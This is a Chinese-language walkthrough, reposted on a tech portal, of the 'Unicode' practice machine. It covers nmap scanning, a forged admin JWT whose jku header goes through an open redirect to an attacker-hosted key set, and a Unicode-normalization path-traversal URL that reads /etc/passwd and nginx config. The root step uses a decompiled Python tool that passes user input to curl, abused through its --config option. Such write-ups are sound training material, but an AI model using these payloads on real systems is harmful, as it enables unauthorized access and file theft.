IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> Unicode -> 正文阅读

[系统运维]Unicode

信息收集

ports=$(nmap -p- --min-rate=1000 -T4 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -oN result -p$ports $1

发现目标主机开放了ssh和web服务
在这里插入图片描述
我们先访问一下web服务,发现是一个注册登录的页面,我们先注册一个用户登录看看页面都实现了哪些功能
在这里插入图片描述
登录成功后,发现存在一个文件上传页面,但是经过多次尝试,可以上传成功,可是并不能获取到上传的路径
在这里插入图片描述
当我打开查看网页cookie的时候,发现是JWT形式存储
在这里插入图片描述
我们解密JWT后发现存在一个url路径,我们将其添加到hosts文件后进行访问并将jwks.json值保存下来
在这里插入图片描述
在这里插入图片描述

漏洞利用

这个漏洞利用过程就比较复杂了,也比较考验渗透测试者的经验和脑洞。首先我们先在https://mkjwk.org/这个网站上生成一个用于反弹到本机上的json值,我们将生成的n值对应的值替换掉原来保存的jwks.json的值

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后我们利用url重定向,先在本地开放一个微型的服务器,然后将用户变换为admin,生成一个新的JWT值用户登录admin用户界面,最后将新生成的公钥私钥值复制到生成页面上。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
生成一个新的JWT值,替换掉用普通用户登录的JWT值,刷新页面

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdD91cmw9MTAuMTAuMTQuMjMvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.XdbEyn8OmY2soOmA_LCwfwPyW_CgWyMD0TyeVDQZ0KlVTLHTaiuhui961b8qXqc_Kbxu20Zt6FYaZV_JS9dP_RT19ecIdFMZaEkRup-y07r1KBoHMWiGTyg-Q9uc1auj3XMqjHSp6rT7eTEsVFv-qzjQEVPaRJfqYLoE6Hxt2aW2bvG1I3PoEm9oVnH3zXm_ngM46AC_4Iy3ZMXduufwEeJY8OLkQPlZgQ0s3tuQjDZqRjFMlYBz0sGkgw_Oud-40hvrylaQmJdmsulrbED9BLiuhCvbFrX_Q-tXlxkxHWc5Q52co1qf6A0P-2N_zeRjhw0M1RB3T7G2GvTKZGFJzQ

在这里插入图片描述
点击current month页面是,发现是一个本地文件读取漏洞,并且一般的读取姿势还不能读取成功
在这里插入图片描述
我们尝试使用U+FE30的编码形式进行绕过,经过反复尝试成功读取到/etc/passwd文件的内容,这是有关文件读取编码绕过的具体内容https://link.zhihu.com/?target=https%3A//lazarv.com/posts/unicode-normalization-vulnerabilities/

http://10.10.11.126/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/passwd

在这里插入图片描述
我们进行信息收集时发现,目标主机上运行着nginx服务器,我们可以尝试读取nginx相关的用户配置信息。读取到的路径是/home/code/coder,并且存在密码信息文件db.yaml

http://10.10.11.126/display/?page=%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/%EF%B8%B0/etc/nginx/sites-available/default

在这里插入图片描述
成功读取到code用户信息和相关密码信息内容
在这里插入图片描述
从收集的信息上看,code用户是可以使用ssh连接bash终端的
在这里插入图片描述
在这里插入图片描述

提权到ROOT

发现可以以root身份运行treport程序,我们可以尝试运行分析其功能
在这里插入图片描述
发现是对分析报告的生成,并且文件的类型是python,在第三个选择上调用了curl命令进行报告下载
在这里插入图片描述
突破点就是在第三个选项上,但是我们不知道他具体程序的源码是怎么实现的,所以需要对这个python文件进行逆向源码还原。这里使用到的工具有pyinstxtractorpycdc,并且将treport文件通过scp的形式下载下来
在这里插入图片描述
脚本运行成功后会产生一个新的文件夹
在这里插入图片描述
文件夹内大部分文件都是pyc文件格式
在这里插入图片描述
那么我们就要用到c和c++的转换工具了
在这里插入图片描述
在这里插入图片描述
通过审计源代码可以得知,在下载文件部分使用了黑名单进行过滤,但是唯独没有过滤大括号,因此我们可以使用大括号进行文件读取,我们可以使用curl的–config参数对指定文件内容进行读取

./pycdc ../treport_extracted/treport.pyc
# Source Generated with Decompyle++
# File: treport.pyc (Python 3.9)

Unsupported opcode: <255>
import os
import sys
from datetime import datetime
import re

class threat_report:
    
    def create(self):
Unsupported opcode: <255>
        file_name = input('Enter the filename:')
        content = input('Enter the report:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        file_path = '/root/reports/' + file_name
    # WARNING: Decompyle incomplete

    
    def list_files(self):
        file_list = os.listdir('/root/reports/')
        files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list))
        print('ALL THE THREAT REPORTS:')
        print(files_in_dir)

    
    def read_file(self):
Unsupported opcode: <255>
        file_name = input('\nEnter the filename:')
        if '../' in file_name:
            print('NOT ALLOWED')
            sys.exit(0)
        contents = ''
        file_name = '/root/reports/' + file_name
    # WARNING: Decompyle incomplete

    
    def download(self):
        now = datetime.now()
        current_time = now.strftime('%H_%M_%S')
        command_injection_list = [
            '$',
            '`',
            ';',
            '&',
            '|',
            '||',
            '>',
            '<',
            '?',
            "'",
            '@',
            '#',
            '$',
            '%',
            '^',
            '(',
            ')']
        ip = input('Enter the IP/file_name:')
        res = bool(re.search('\\s', ip))
        if res:
            print('INVALID IP')
            sys.exit(0)
        if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
            print('INVALID URL')
            sys.exit(0)
        cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
        os.system(cmd)


# WARNING: Decompyle incomplete

在这里插入图片描述

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-02-07 14:03:25  更:2022-02-07 14:05:42 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 5:32:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码